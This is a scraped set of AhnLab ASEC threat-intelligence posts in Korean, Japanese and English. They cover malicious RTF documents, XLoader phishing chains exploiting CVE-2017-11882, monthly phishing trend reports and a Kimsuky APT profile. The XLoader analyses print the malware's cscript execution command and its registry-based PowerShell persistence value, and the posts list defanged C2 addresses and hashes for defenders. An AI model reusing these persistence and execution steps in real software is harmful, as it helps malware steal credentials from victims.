없는 문자열 형태로 본문 내용을 포함하고 있는 경우도 있다. 사용자는 첨부파일 열람 시 메일 내용과 관련 없는 내용이거나, 본문의 내용이 알아볼 수 없는 문자열 형태를 갖는 경우 RTF 취약점 문서인지 의심해볼 필요가 있다. [ 그림 3 ] RTF 내부에 정상 본문 내용을 포함하는 경우 [ 그림 4 ] RTF 내부에 알아볼 수 없는 문자열을 포함하는 경우 분석 결과 악성 RTF 문서를 통해 최종적으로 시스템에 다운로드되는 악성코드는 HawkEye, Nanocore, FormBook, Lokibot, Remcos 등 이미 널리 알려진 정보 유출형 악성코드가 대다수임을 확인하였다. 악성코드 제작자는 Nanocore와 같이 알려진 악성코드들에 대한 AV 시그니쳐 진단을 까다롭게 하기 위해서 VB 6.0, Delphi, AutoIt, .NET과 같은 언어를 사용하여 해당 악성코드들을 내부에 암호화 상태로 저장한다. [ 그림 5 ] Crypter 계열 악성코드 구조 Crypter 계열의 악성코드가 실행되면 파일 내부의 암호화된 PE를 복호화한 뒤 RunPE, ProcessHollowing 같은 기법을 사용하여 다른 프로세스에 인젝션하여 동작한다. 결국 정보 유출형 악성코드가 사용자 PC에서 실행되면 FTP, 웹 브라우저, 아웃룩 비밀번호 등 사용자의 계정 정보가 유출될 수 있고, 유출 정보를 통해서 공격자는 제2의 공격을 하는 데 사용될 수 있으므로 출처가 불분명한 스팸메일을 열람하지 않도록 각별한 주의가 필요하다. 또한, 사용자는 MS Office 제품군의 보안 업데이트를 최신으로 유지하여 취약점에 노출되지 않도록 해야 한다. – https://portal.msrc.microsoft.com/ko-kr/security-guidance 현재 안랩 제품에서는 RTF 취약점 문서 파일을 다음과 같이 진단하고 있다. 파일 진단 – RTF/Exploit.Gen (2018.05.17.00) – RTF/Cve-2017-0199.Gen (2017.07.12.00) – RTF/Cve-2017-8759.Gen (2017.10.19.00) – RTF/Malform-A.Gen (2018.07.04.00) – RTF/Malform-B.Gen (2018.07.04.00) – RTF/Malform-C.Gen (2018.07.04.00) – RTF/Malform-D.Gen (2018.07.04.00) – RTF/Malform-E.Gen (2018.07.04.00) – RTF/Malform.Suspic (2018.07.04.00) 행위 진단 – Malware/MDP.Downloader.M1881
ASEC 영어·일본어 등 다른 언어 글 20건
ASEC 発注書の確認依頼を装ったフィッシングメールに注意 (Xloader) 2026-11-17
最近、AhnLab SEcurity intelligence Center (ASEC) は、発注書の確認依頼を装ったフィッシングメールの拡散事例を確認した。メール本文では、発注書の確認を求める内容を記載し、発注書を装った悪意のある DOCX ファイルを開くよう誘導する。 [図1] フィッシングメールの本文 ユーザーが添付された DOCX ファイルをダウンロードして実行すると、[図2] のように、Word の 「他のドキュメントの内容を取得する (altChunk)」 機能を悪用し、Word ファイル内部に埋め込まれた悪意のある RTF ドキュメントが実行される。 [図2] altChunk に含まれる悪意のある RTF ドキュメントのパス [図3] Word ファイル内部の悪意のある RTF ドキュメント Word が悪意のある RTF ドキュメントを処理する過程で、ドキュメント内部の OLE オブジェクトに含まれる悪意のある VBS ファイルが %TMP%\724812.vbs のパスに生成される。 その後、数式エディター (Equation Editor) の既知の脆弱性である CVE-2017-11882 を悪用する OLE オブジェクトが以下のコマンドを実行して当該 VBS ファイルを起動する。 実行コマンド CmD.exe /C cscript %tmp%\724812.vbs [図4] 悪意のある RTF 内部の OLE オブジェクト [図5] OLE オブジェクトに挿入された悪意のある VBS ファイルの実行コマンド 実行された悪意のある VBS ファイルには Base64 でエンコードされたデータが含まれており、そのデータをそのまま %TMP%\Quisque.Dal のパスにファイルとして生成する。また、内部に含まれる1次 PowerShell スクリプトを実行する。生成されたデータファイルは、[表1] のような構造で構成されている。 [図6] 悪意のある VBS ファイル内部のデータ [図7] Base64でエンコードされたデータファイル 開始オフセット 終了オフセット 長さ 説明 0x0 0x284 0x285 ローダー 0x285 0x57A7C 0x577F8 ペイロード 0x57A7D 0x5C997 0x4F1B 2次 PowerShell スクリプト [表1] データファイルの構造 (デコード時) 1次 PowerShell スクリプトは、実行時に [表2] のように、PowerShell の実行パスとスクリプトをそれぞれ 「TORO」 と 「Laboris」 というレジストリ値に保存する。 その後、Run キーに 「Cupidatat」 という値を登録し、ユーザーのログイン時に保存された PowerShell スクリプトが自動的に実行されるようにすることで永続化を図る。 [図8] レジストリへの登録 レジストリパス 名前 データ HKCU\Environment TORO PowerShell.exe パス HKCU\SOFTWARE\AppDataLow Laboris 1차 PowerShell スクリプト HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cupidatat %TORO% -w 1 $inwindi=(Get-ItemProperty -Path ‘HKCU:\SOFTWARE\AppDataLow\’).Laboris;%TORO% ($inwindi) [表2] レジストリ登録項目一覧 その後、1次 PowerShell スクリプトは %TMP%\Quisque.Dal ファイルを復号し、2次 PowerShell スクリプトを実行する。2次 PowerShell スクリプトはローダー型マルウェアを実行し、この過程で暗号化されたペイロード (Payload) を引数として渡す。ローダー型マルウェアは、受け取ったペイロードを XOR 演算によって復号した後、メモリ上で実行する。 XOR キー 0x6B506102 [図9] 2次 PowerShell スクリプトの実行 [図10] ローダー型マルウェアの実行 [図11] ローダー型マルウェアの XOR 復号ルーチン 最終的に実行されるマルウェアは、情報窃取型マルウェア (Infostealer) である XLoader である。 XLoader は、感染したシステムから PC 情報やブラウザー情報などの機密情報を窃取するほか、追加のマルウェアをダウンロードするなど、さまざまな悪意のある動作を実行する。 C2 hxxp://www.dumbsplash[.]com/ilto/ [図12] XLoader のバージョン情報 (8.9) 対応ガイド 1. 送信者の確認 送信者のメールアドレスが、正規のドメインであることを確認する。 2. ハイパーリンクおよび添付ファイルの確認 メール本文に添付された画像をクリックするよう誘導された場合は、クリックする前にリンク先の URL 情報を確認する。不審な URL は正規のページではない別の経路を経由した後、最終的に正規のページへリダイレクトされる場合があるため、十分に注意する必要がある。 また、添付ファイルがある場合は、疑わしい拡張子 (.exe、.vbs、.js など) のファイルでないか確認する。 3. 機密情報の入力に注意 ログインアカウント情報などの機密データの入力を求められた場合は、入力する前に必ず該当ページの URL が正規のものであることを確認する。正規のページではない場合、不審な URL である可能性が高いため、注意が必要である。 特に、機密情報を入力する前にページのセキュリティ証明 (HTTPS、鍵マークのアイコン) を確認し、不審な点がある場合は絶対に情報を入力しないようにする。 MD5 5bd3c5f273ba5ae4c4ae745c6943a4f7 8b3542531d98a47524c0f468d0158996 e0d7a34bc9f4590bc073d08b50c854d1 URL http[:]//www[.]dumbsplash[.]com/ilto/ 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「 AhnLab TIP 」 サブスクリプションサービスを通して確認できる。
ASEC Beware of phishing emails disguised as purchase order confirmation requests (Xloader) 2026-11-12
Recently, the AhnLab SEcurity intelligence Center (ASEC) identified a case of phishing emails that disguise themselves as requests to confirm purchase orders. The email body prompts recipients to open a malicious DOCX file disguised as a purchase order to verify the order. [Figure 1] Phishing email body When a user downloads and opens the attached DOCX file, a malicious RTF document embedded within the Word file is executed by exploiting Word’s “Import Content from Another Document (altChunk)” feature, as shown in [Figure 2]. [Figure 2] Path of the malicious RTF document contained in altChunk [Figure 3] Malicious RTF document inside the Word file While Word is processing the malicious RTF document, a malicious VBS file contained within an OLE object inside the document is created at the path `%TMP%\724812.vbs`. Subsequently, an OLE object that exploits CVE-2017-11882—a known vulnerability in the Equation Editor—performs command execution on the VBS file. Execution command CmD.exe/Ccscript %tmp%\724812.vbs [Figure 4] OLE object embedded in the malicious RTF file [Figure 5] Command execution for the malicious VBS file embedded in the OLE object The executed malicious VBS file contains Base64-encoded data, which it saves as a file at the path %TMP%\Quisque.Dal. It also executes the first-stage PowerShell script embedded within it. The generated data file has the structure shown in [Table 1]. [Figure 6] Data inside the malicious VBS file [Figure 7] Base64-encoded data file Start Offset End Offset Length Description 0X0 0X284 0X285 Loader 0X285 0X57A7C 0X577F8 Payload 0X57A7D 0X5C997 0X4F1B Secondary PowerShell script [Table 1] Data File Structure (Upon Decoding) When executed, the primary PowerShell script stores the PowerShell execution path and the script itself in the TORO and Laboris registry values, respectively, as shown in [Table 2]. It then ensures persistence by registering the “Cupidatat” value under the “Run” key, causing the stored PowerShell script to execute automatically when the user logs in. [Figure 8] Registry Registration Registry Path Value Name Value Data HKCU\Environment TORO PowerShell.exe Path HKCU\SOFTWARE\AppDataLow Laboris Primary PowerShell script HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Cupidatat %TORO% -w 1 $inwindi=(Get-ItemProperty -Path ‘HKCU:\SOFTWARE\AppDataLow\’).Laboris;%TORO% ($inwindi) [Table 2] List of Registry Entries Subsequently, the first PowerShell script decrypts the file `%TMP%\Quisque.Dal` and executes the second PowerShell script. The second PowerShell script executes the loader malware, passing the encrypted payload as an argument during this process. The loader malware uses an XOR operation to decrypt the received payload and then executes it in memory. XOR Key 0X6B506102 [Figure 9] Execution of the secondary PowerShell script [Figure 10] Loader Malware Code Execution [Figure 11] XOR decryption routine of the loader malware The malware ultimately executed is XLoader, an Infostealer-type malware. XLoader steals sensitive information—such as PC details and browser data—from infected systems and performs various malicious functions, including downloading additional malware. C2 Hxxp://www.dumbsplash[.]com/ilto/ [Figure 12] XLoader version information (8.9) Response Guide 1. Verify the Sender Verify that the sender’s email address belongs to an official domain. 2. Check Hyperlinks and Attachments If the email prompts you to click on an image attached to the body of the message, check the linked URL first before clicking. Suspicious URLs often lead through non-official paths before finally redirecting to a legitimate page, so you should examine them carefully. Additionally, if there are attachments, check for suspicious file extensions (.Exe, .Vbs, .Js, etc.). 3. Be Cautious When Entering Sensitive Information If you are asked to provide sensitive information, such as login credentials, always verify that the page’s URL corresponds to the official website before entering any information. If the page is not official, it is highly likely to be a suspicious URL, so caution is required. In particular, check the page’s security certification (HTTPS, padlock icon) before entering sensitive information, and never enter any information if you have any doubts. MD5 5bd3c5f273ba5ae4c4ae745c6943a4f7 8b3542531d98a47524c0f468d0158996 e0d7a34bc9f4590bc073d08b50c854d1 URL http[:]//www[.]dumbsplash[.]com/ilto/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC August 2025 Trends Report on Phishing Emails 2025-09-15
This report provides the distribution quantity, statistics, trends, and case information on phishing emails and attachments collected and analyzed over the course of a month in August 2025. The following are some statistics and cases included in the original report. 1) Statistics of Phishing Email Threats In August 2025, the most common type of threat among phishing email attachments was phishing (63%). Threat actors used scripts such as HTML to mimic the screen layout, logo, and font of legitimate login pages and promotional pages. Users are then prompted to enter their account credentials, which are then sent to the threat actor’s C2 server or used to redirect the victims to fake websites. This type of phishing also involves inserting hyperlinks into documents such as PDF files to redirect users to phishing websites created by threat actors. Figure 1. Phishing email threat statistics This section also reflects the recent trends of threats posed by phishing emails by providing data on the distribution changes of samples in each category over the last six months. Additionally, statistics on the extensions of attachments found in phishing emails are included, allowing readers to identify the file formats used in phishing emails. Readers can refer to the original ATIP report to access other statistics not covered in this summary. 2) Distribution of Korean Emails This section covers cases of phishing emails written in Korean, and provides the titles and file names of attachments from these samples. This information allows readers to identify the frequently used keywords in phishing email threats. Figure 2. Some of the phishing emails in Korean 3) Analysis of Phishing Email Distribution Cases Representative cases were analyzed according to the attachment format (Script, Document, Compress). Through this, users can check the phishing email attack cases that actually occurred in August. In addition to phishing pages (FakePage) from Script attachments, but also malware exploiting the vulnerability by executing the document file (exploit) was distributed via phishing emails. When the document file is executed, the Purecrypter malware is executed through the Equation Editor EQNEDT32.EXE vulnerability (CVE-2017-11882). The cases of PE files (.exe) being compressed in ZIP and distributed through phishing emails are also increasing. Additional information such as the C2 address, analysis information, and the body of the phishing email that distributed the malware can be found in the original ATIP report and ATIP Notes. Figure 3. Malware distributed as an attachment in Document format Figure 4. Malware distributed as an attachment in Compress format This post reveals a part of the August 2025 Trends Report on Phishing Email. The original ATIP report contains additional content, including the recent distribution trends of phishing (FakePage) and malware, statistics on and distribution of attachments by extension, and analysis on actual phishing email attacks. MD5 02b1c04c215d6a9a0568a25e95e14d90 0f3abc5fbbb1bc8173070c0a2caf633f 1543821e1b0ef89239007489bebd00be 16a6a8fa735eaff4f3781c9025fc0289 1a773e1957d4ed2844041c968154bf7b
ASEC July 2025 Trend Report on Phishing Emails 2025-08-12
This report provides the distribution quantity, statistics, trends, and case information on phishing emails and email threats collected and analyzed for one month in July 2025. The following are some statistics and cases included in the original report. 1) Statistics of Phishing Email Threats In July 2025, the most common type of threat among phishing email attachments was phishing (60%). Threat actors used scripts such as HTML to mimic the screen layout, logo, and font of login pages and promotional pages. Users are then prompted to enter their account credentials, which are then sent to the threat actor’s C2 server or used to redirect the victims to fake websites. This type of phishing also involves inserting hyperlinks into documents such as PDF files to redirect users to phishing websites created by threat actors. Figure 1. Phishing email threat statistics In addition, data on the distribution changes of samples by category over the past six months has been provided, reflecting the recent trends in threats posed by phishing emails. Furthermore, statistics on the extensions of attachments found in phishing emails have been included, allowing readers to understand the file formats used in these emails. These statistics and more can be found in the original ATIP report. 2) Distribution of Korean Emails This section covers cases of phishing emails written in Korean, and provides the titles and file names of attachments from these samples. This information allows readers to identify the frequently used keywords in phishing email threats. Figure 2. Some of the phishing emails in Korean 3) Analysis of Phishing Email Distribution Cases Representative cases were analyzed according to the attachment format (Script, Document, Compress). Through this, users can check the phishing email attack cases that actually occurred this month. This month, not only phishing pages (FakePage) were distributed through Script attachments, but also malware exploiting the vulnerability (CVE-2017-11882) by executing the document file (exploit) was distributed via phishing emails. When the document file is executed, the vulnerability of the equation editor (EQNEDT32.EXE) (CVE-2017-11882) is exploited to execute Lokibot malware. Recently, there has been an increase in cases where a PE file (.exe) is compressed in a ZIP file and distributed via phishing emails. Additional information such as the C2 address, analysis information, and the body of the phishing email that distributed the malware can be found in the original ATIP report and ATIP Notes. Figure 3. Malware distributed as an attachment in Document format Figure 4. Malware distributed as an attachment in Compress format This post reveals a part of the July 2025 Trends Report on Phishing Email. The original ATIP report contains additional content, including the recent distribution trends of phishing (FakePage) and malware, statistics on and distribution of attachments by extension, and analysis on actual phishing email attacks. ※ For more information, please refer to the attached file. MD5 01f68e02af2a9314bf20a84f722cd993 05a32454a16cfefa3f5e59130dd4f1ce 10fd66045df61ec16daffaffb8fb7eb2 1df34f8ebe0921f773d2436be887ed36 1f83b3a18059ef735cc594445bd142e4
ASEC June 2025 Trends Report on Phishing Emails 2025-07-07
This report provides the distribution quantity, statistics, trends, and case information on phishing emails and email threats collected and analyzed for one month in June 2025. The following are some statistics and cases included in the original report. 1) Statistics on Attachment Threats in June 2025 In June 2025, the most prevalent threat type among phishing email attachments was Phishing (66%). This is the type where threat actors use HTML and other scripts to mimic login pages, advertising page layouts, logos, and fonts to create deceptive pages that can lure users into entering their account credentials. Subsequently, the threat actors transmit this information to their C2 server or lead users to fake sites. This type of phishing attack not only uses scripts but also includes hyperlinks in documents like PDFs to trick users into visiting phishing sites created by threat actors. The second most common threat type is Trojan (22%). This malware tricks users into executing it by using double extensions or filenames with legitimate names. The third most common threat type is malware that downloads additional malware from C2 (Downloader, 12%), followed by security vulnerability exploits (Exploit, 1%), with CVE-2017-11882 being a prominent example. Compared to last month, the percentage of phishing malware significantly decreased from 72% to 66% this month. The proportion and volume have also decreased significantly. Overall, it has been confirmed that phishing threats were distributed less compared to the previous month. This is also seen in the statistics under [Trend in Phishing (FakePage) Distribution Volume]. Figure 1. Statistics on attachment threats In addition, data on the distribution changes of samples by category over the past six months has been provided, reflecting the recent trends in threats posed by phishing emails. Furthermore, statistics on the extensions of attachments found in phishing emails have been included, allowing readers to understand the file formats used in these emails. These statistics and more can be found in the original ATIP report. 2) List of Phishing Emails Distributed in Korean This section covers cases of phishing emails written in Korean, and provides the titles and file names of attachments from these samples. This information allows readers to identify the frequently used keywords in phishing email threats. Figure 2. Some of the phishing emails distributed in Korean 3) Phishing Email Distribution Cases Representative cases were analyzed according to the format of the attachments (Script, Document, Compress). Through this, users can check the phishing email attack cases that actually occurred this month. In addition to the phishing page (FakePage) type of malware distributed through Script attachments, another type of malware that uses Document attachments to distribute phishing pages (FakePage) was distributed through phishing emails this month. When the document file is opened, a hyperlink is provided, and clicking on the image that says “VIEW HERE” leads users to the phishing page. Furthermore, there is a growing trend of executable (PE) files being compressed in ZIP format and distributed through phishing emails. Additional information such as the C2 address, analysis details, and the body of the phishing email that distributed the malware can be found in the original ATIP report and ATIP Notes. Figure 3. Malware distributed as an attachment file in Document format Figure 4. Malware distributed as an attachment in Compress format This post reveals a part of the June 2025 Phishing Email Trend Report. The original ATIP report provides additional content, including the recent distribution trends of phishing (FakePage) and malware, statistics and distribution volume by attachment file extension, and analysis of actual phishing email attacks. For more information, please refer to the attachment. MD5 0b8ccb3c3156659dcfc873a3ed7a6932 17ad811df3fce5d582c8f85b6d388884 1bac5e9901105a62cb7d98a82c02b9d7 1c7b665d471b04b38061295f0eb28f62 1eb436524511236fc33ea53162812248
ASEC May 2025 Trends Report on Phishing Emails 2025-06-12
This report provides statistics, trends, and case details on the distribution volume and attachment threats of phishing emails collected and analyzed in May 2025. The following is a part of the statistics and cases included in the original report. 1) Phishing Email Threat Statistics In May 2025, the most prevalent type of threat among phishing email attachments was phishing (72%). Threat actors used scripts such as HTML to mimic the screen layout, logo, and font of login pages and advertising pages. Users are prompted to enter their account credentials, which are then sent to the threat actor’s C2 server, or they are redirected to a fake website. This type of phishing also involves inserting hyperlinks into documents such as PDFs to redirect users to the threat actor’s phishing website. Figure 1. Phishing email threat statistics In addition, the data on the distribution change of samples by category in the past six months is reflected, showing the recent trends in threats posed by phishing emails. The statistics on file extensions used in attachments to phishing emails are also provided, allowing readers to identify the file formats used in phishing emails. Readers can refer to the original ATIP report to view more statistics not covered in this summary. 2) Distribution of Korean Emails This section categorizes cases that are written in Korean and partially discloses the subject and file name of attachments. This allows readers to identify the keyword information that frequently appears in phishing email threats. Figure 2. Some of the phishing emails distributed in Korean 3) Case Study on Phishing Email Distribution ASEC analyzed the major cases of phishing email attacks that occurred in May according to the format of the attachments (Script, Document, Compress). Through this, users can check the phishing email attack cases that actually occurred this month. In addition to the phishing page (FakePage) using a script attachment, this month saw the distribution of malware through phishing emails that exploited the vulnerability of document attachments. When the document file is executed, the equation editor (EQNEDT32.EXE) vulnerability (CVE-2017-11882) is exploited to run the Lokibot malware. Furthermore, there has been an increase in cases where PE files (.exe) are compressed in ZIP and distributed as phishing emails. Additional information such as the analysis information and the body of the phishing email that distributed the malware, including the C2 address, can be found in the original ATIP report and ATIP Notes. Figure 3. Malware distributed as an attachment in document format Figure 4. Malware distributed as an attachment in Compress format This post has shared a portion of the May 2025 Trend Report on Phishing Email. The original ATIP report contains additional information, such as the recent distribution trends of phishing (FakePage) and malware, statistics and distribution by attachment file extension, and analysis of actual phishing email attacks. ※ For more information, please refer to the attached file. MD5 0e54e6be35a6225946c972cbe74b27a8 119a118372a79cfd77a033c852bd3f90 1738d827615a61618e11e32f3c7e7727 2dab94f34371ebffedd6aa3eb3d4ecd7 2e303a4645788483adfb221f9c8d37d0
ASEC 数式エディタ EQNEDT32.EXE 過去の脆弱性を利用して配布される XLoader インフォスティーラー (CVE-2017-11882) 2025-05-09
AhnLab SEcurity intelligence Center(ASEC)は毎月「フィッシングメール動向報告書」というタイトルでフィッシングメールに関する情報を AhnLab TIP に公開している。フィッシングを装った様々な キーワード/テーマがあるが、その中でも本ブログでは購入および注文書の確認のためのメールに偽装して XLoader インフォスティーラー マルウェアを配布した事例について紹介する。メール本文には、注文書の内容を確認して、連絡を要求する内容と添付された DOCX ドキュメントファイルの実行を誘導する内容が書いてある。 添付された不正なドキュメントを実行する過程で、過去の数式エディタの脆弱性(CVE-2017-11882)を未だに使用している状況が確認された。脆弱に運用されている環境では攻撃に晒されるものと見られる。数式エディタの脆弱性以降、最終的には HorusProtector でビルドされた XLoader インフォスティーラーがメモリ上で動作する。 HorusProtector は、様々なマルウェアを配布する商用プロテクターであり、攻撃者のチャットでビルダーを無料配布し、ライセンスキーを攻撃者から購入して認証後使用する方式である。ビルド時にインジェクション対象プロセスを指定して最終的に実行されるマルウェアをインジェクションする特徴があり、分析当時の最新バージョンは v0.4.2であることが確認される。 [図1] フィッシングメールの本文 [図2] HorusProtector ビルダーの写真 過去には最初の配布ファイルを VBE 単一ファイルで配布したが、今回の事例では最初の配布ファイルは DOCX ドキュメントファイルで始まり、DOCX ドキュメントファイルの中に数式エディタの脆弱性を使用する RTF ドキュメントが含まれている。 [図3] DOCX ドキュメントに含まれている RTF ドキュメント [図4] RTF に含まれている Client.vbe と脆弱性コード この DOCX ドキュメントファイルを実行すると、External 接続を通じて内部 RTF ドキュメントが実行される。この RTF ドキュメントは内部に含まれている「Client.vbe」ファイルを一時フォルダーに作成し、数式エディタの脆弱性を利用して「cmd.exe /C cscript %tmp%\Client.vbe」コマンドを実行する。過去には VBE ファイルの内部に最終マルウェアが含まれておらず、C2 でダウンロードして実行されていた。ファイルサイズも約10KB程度であった。しかし、本文の事例のように現在配布されている HorusProtector は VBE ファイルの内部に最終マルウェアが含まれたまま配布されており、サイズは約1.34MBである。 [図5] (左) デコードされた以前のバージョンの VBE コードの一部 (右) デコードされた現在のバージョンの VBE コードの一部 Client.vbe が実行されると、「Computer\HKEY_CURRENT_USER\SOFTWARE\」レジストリの下位に 15文字のランダム名でキーを作成し、その下位キーに「donn」という名前でキーを作成する。各レジストリキーに保存されるデータは以下の通りである。 ※ 本文のサンプルでは「gSngToQWoKopCel」という名前のキーを作成する。 gSngToQWoKopCel : インジェクション対象プロセスの名前、BASE64 でエンコードされた DLL ローダーファイル、ローダーを実行させる PowerShell スクリプト donn : 最終的に実行される BASE64 でエンコードされたマルウェア [図6] (上) 実行に関連するレジストリキー値、(下) 最終的に実行されるマルウェアデータ 最後に、PowerShell スクリプトが「RegAsm.exe」を子プロセスに作成し、DLL ローダーファイルが最終マルウェアをデコードして実行する。最終的に実行されるマルウェアはインフォスティーラーである XLoader であることが確認された。 HorusProtector は2024年から様々なマルウェアを配布している。初期には VBE 単一ファイルを配布したが、現在は数式エディタの脆弱性を使用する MS Office ドキュメントに含めてフィッシングメールを通じて配布している。過去の脆弱性を利用したマルウェアが今も配布されているということは、いまだに脆弱な環境のユーザーが多いということに解釈される。ユーザーは脆弱な数式エディタが除去された Office 製品を使用するか、セキュリティアップデートを通じてマルウェア感染を予防する必要があり、出所が不明なメールに添付されているファイルを開く際は特に注意が必要である。 MD5 10773549f9ba9f8be361356e6a406618 242ec1c492acc3189806457e0cd09ef1 30671e17c3b3a2af1e086947cd6fb639 33610798ab021043d920f3fe6196bb91 44523287aaa954cf2ace3817e4d69079 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「 AhnLab TIP 」 サブスクリプションサービスを通して確認できる。
ASEC XLoader Info-stealer Distributed Using MS Equation Editor Vulnerability (CVE-2017-11882) 2025-04-25
AhnLab Security Intelligence Center (ASEC) publishes the information of phishing emails to AhnLab TIP monthly under the title “Trends Report on Phishing Emails.” There are various keywords/topics disguised as phishing, and this blog will cover cases where emails disguised as emails for checking purchases and order confirmations are used to distribute the XLoader info-stealer. The email body asks to check if the purchase order is correct and contact back with the attached DOCX file to be executed. During the process of executing the attached malicious document, it was confirmed that the environment still uses the MS Equation Editor vulnerability (CVE-2017-11882). It is likely to be exposed to attacks in a vulnerable environment. After the MS Equation Editor vulnerability, the XLoader info-stealer built by HorusProtector will operate in memory. HorusProtector is a commercial protector that distributes various malware. The builder is distributed free of charge in the attacker’s chat room, and the method is to purchase a license key from the attacker for authentication. When building, it has the feature of specifying the process to be injected and injecting the final malware to be executed. The latest version at the time of analysis was confirmed to be v0.4.2. Figure 1 Phishing Email Body Figure 2 HorusProtector Builder Image In the past, the initial file was distributed as a VBE single file. However, in this case, the initial file starts as a DOCX document file, and the DOCX document file contains an RTF document that exploits the Equation Editor vulnerability. [Fig. 3] RTF File Embedded in a DOCX Document [Figure 4] Client.vbe and Vulnerability Code Included in RTF Upon execution of the DOCX file, the internal RTF document is run via External connection. This RTF document creates the “ Client.vbe ” file in a temporary folder and utilizes the formula editor vulnerability to run the “ cmd.exe /C cscript %tmp%\Client.vbe ” command. In the past, the VBE file did not contain the final malware and was downloaded and executed from C2. The file size was also around 10KB. However, as seen in the case, HorusProtector currently being distributed has the VBE file containing the final malware and the size is approximately 1.34MB. [Figure 5] (Left) Decoded VBE Code of the Previous Version (Right) Decoded VBE Code of the Current Version When Client.vbe is executed, it creates a key with a 15-character random name under “ Computer\HKEY_CURRENT_USER\SOFTWARE\ ” and generates a subkey named “ donn “. The data saved in each registry key is as follows. ※ In the sample of the main text, a key named “ gSngToQWoKopCel ” is created. gSngToQWoKopCel : Name of the process to be injected, BASE64-encoded DLL loader file, PowerShell script to run the loader donn : BASE64-encoded Malware executed in the end [Figure 6] (Top) Registry Key Values Related to Execution, (Bottom) Malware Data Finally Executed Lastly, the PowerShell script creates “RegAsm.exe” as a child process, and the DLL loader file decodes and executes the final malware. The final malware executed is identified as the infostealer XLoader. HorusProtector has been distributing various malwares since 2024. Initially, it distributed VBE single files, but currently, it is distributed through phishing emails that include MS Office documents utilizing the Equation Editor vulnerability. The fact that malwares exploiting past vulnerabilities are still being distributed implies that there are still many users in vulnerable environments. Users must use Office products without the Equation Editor or prevent malware infection through security updates. When opening files attached to emails from unknown sources, extra caution is required. MD5 10773549f9ba9f8be361356e6a406618 242ec1c492acc3189806457e0cd09ef1 30671e17c3b3a2af1e086947cd6fb639 33610798ab021043d920f3fe6196bb91 44523287aaa954cf2ace3817e4d69079 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC APT Group Profiles – Larva-24005 2025-04-14
1) Introduction During the breach investigation process, the AhnLab SEcurity intelligence Center (ASEC) discovered a new operation related to the Kimsuky group and named it Larva-24005. 1 The threat actors exploited the RDP vulnerability to infiltrate the system. They then changed the system configuration by installing the MySpy malware and RDPWrap to create a continuous remote access environment. They also infected the system with a keylogger that records the user’s keyboard inputs. The threat information identified through forensic analysis has been made public by the ATIP. The information includes the following cases: “Kimsuky Threat Actor Group’s Exploitation of BlueKeep Vulnerability to Breach and Leak Information from Korean Systems” [2] and “Larva-24005 Threat Actor Group’s Use of a Korean Server as Their Main C2” [3] . 2) Targets and Cases These threat actors have been attacking South Korea’s software, energy, and financial industries since October 2023 and have been sending phishing emails to South Korea and Japan. Through the analysis of the infrastructure used in the attacks, it was confirmed that these threat actors have been attacking South Korea, the United States, China, Japan, Germany, Singapore, and other countries such as South Africa, the Netherlands, Mexico, Vietnam, Belgium, the United Kingdom, Canada, Thailand, and Poland since September 2023. 3) Attack Method In some systems, initial access was gained through exploiting the RDP vulnerability (BlueKeep, CVE-2019-0708). While an RDP vulnerability scanner was found in the compromised system, there is no evidence of its actual use. The threat actor also used other means to distribute the malware, such as attaching the same file to emails and exploiting the Microsoft Office Equation Editor vulnerability (CVE-2017-11882) [1] . After gaining access to the system, the threat actor used a dropper to install MySpy malware and RDPWrap, and modified the system settings to allow RDP access. In the final stage, the threat actor infected the system with KimaLogger or RandomQuery keyloggers to collect the keys that the user enters. Email logs show that phishing emails were sent to victims in Korea and Japan from some of the systems used in the attack. The Diamond Model of Larva-24005 is as follows: Item Description Adversary Larva-24005 Vulnerability BlueKeep (CVE-2019-0708) Techniques Spear Phishing Email, RDP Access Victim South Korean Software Companies, Energy, Finance Malware and Tools RDP Wrap, MySpy Infrastructure Using r-e.kr and kro.kr Domains Table 1. Diamond Model Main Malware and Tools The following are the main malware used by this threat group. Note that the stages are based on theoretical concepts, not actual operational steps, so there may be some differences from actual attacks. Name Description RDPScanner Type A CLI (Command-Line Interface) RDP vulnerability scanner RDPScanner Type B GUI (Graphic User Interface) RDP vulnerability scanner Downloader Downloader Dropper DroppeR Creates RDPWrap and MySpy Malware RDPWrap Remote Control MySpy Estimation of System Information Collection RDPEnabler Changed RDP-related settings in the system RDPLoader RDPWrap Loader KimaLogger Keylogger RandomQuery Keylogger Table 2. Key malware and tools 1) Infiltration Multiple RDP vulnerability scanning tools for initial access were found. While some of these tools were used in actual attacks, most were found to be stored in infected systems without being used. (1) RDPScanner CLI Type Discovered in the system that was attacked using the RDP (CVE-2019-0708) vulnerability scanning tool, but it has not been confirmed whether this tool was used for the initial access. The Atk.txt and Sea.txt files are required for execution, but these files could not be secured. (2) RDPScanner GUI Type A tool for scanning the RDP vulnerability (CVE-2019-0708) in a graphical user interface (GUI) format. It reads the IP list from a text file and performs the scanning. The scan results are stored in the RDP_result.txt file in the tool’s execution path. The following are the variants developed from 2019 to 2024. [1] https://asec.ahnlab.com/en/74073/ [1] https://atip.ahnlab.com/intelligence/view?id=4464854f-8bb1-443f-b93a-971cb94451f4 [2] https://atip.ahnlab.com/intelligence/view?id=cce9edd9-911b-49da-8726-b46b9d5a9cb2 [3] https://atip.ahnlab.com/intelligence/view?id=4464854f-8bb1-443f-b93a-971cb94451f4 MD5 1177fecd07e3ad608c745c81225e4544 14caab369a364f4dd5f58a7bbca34da6 184a4f3f00ca40d10790270a20019bb4 30bcac6815ba2375bef3daf22ff28698 46cd19c3dac997bfa1a90028a28b5045 URL http[:]//star7[.]kro[.]kr/login/help/show[.]php?_Dom=991 http[:]//star7[.]kro[.]kr/login/img/show[.]php?uDt=177 http[:]//www[.]sign[.]in[.]mogovernts[.]kro[.]kr/rebin/include[.]php?_sys=7 FQDN access-apollo-page[.]r-e[.]kr access-apollo-star7[.]kro[.]kr access-mogovernts[.]kro[.]kr apollo-page[.]r-e[.]kr apollo-star7[.]kro[.]kr
ASEC MS-Office 数式エディターの脆弱性を利用してインストールされるキーロガー (Kimsuky) 2024-06-13
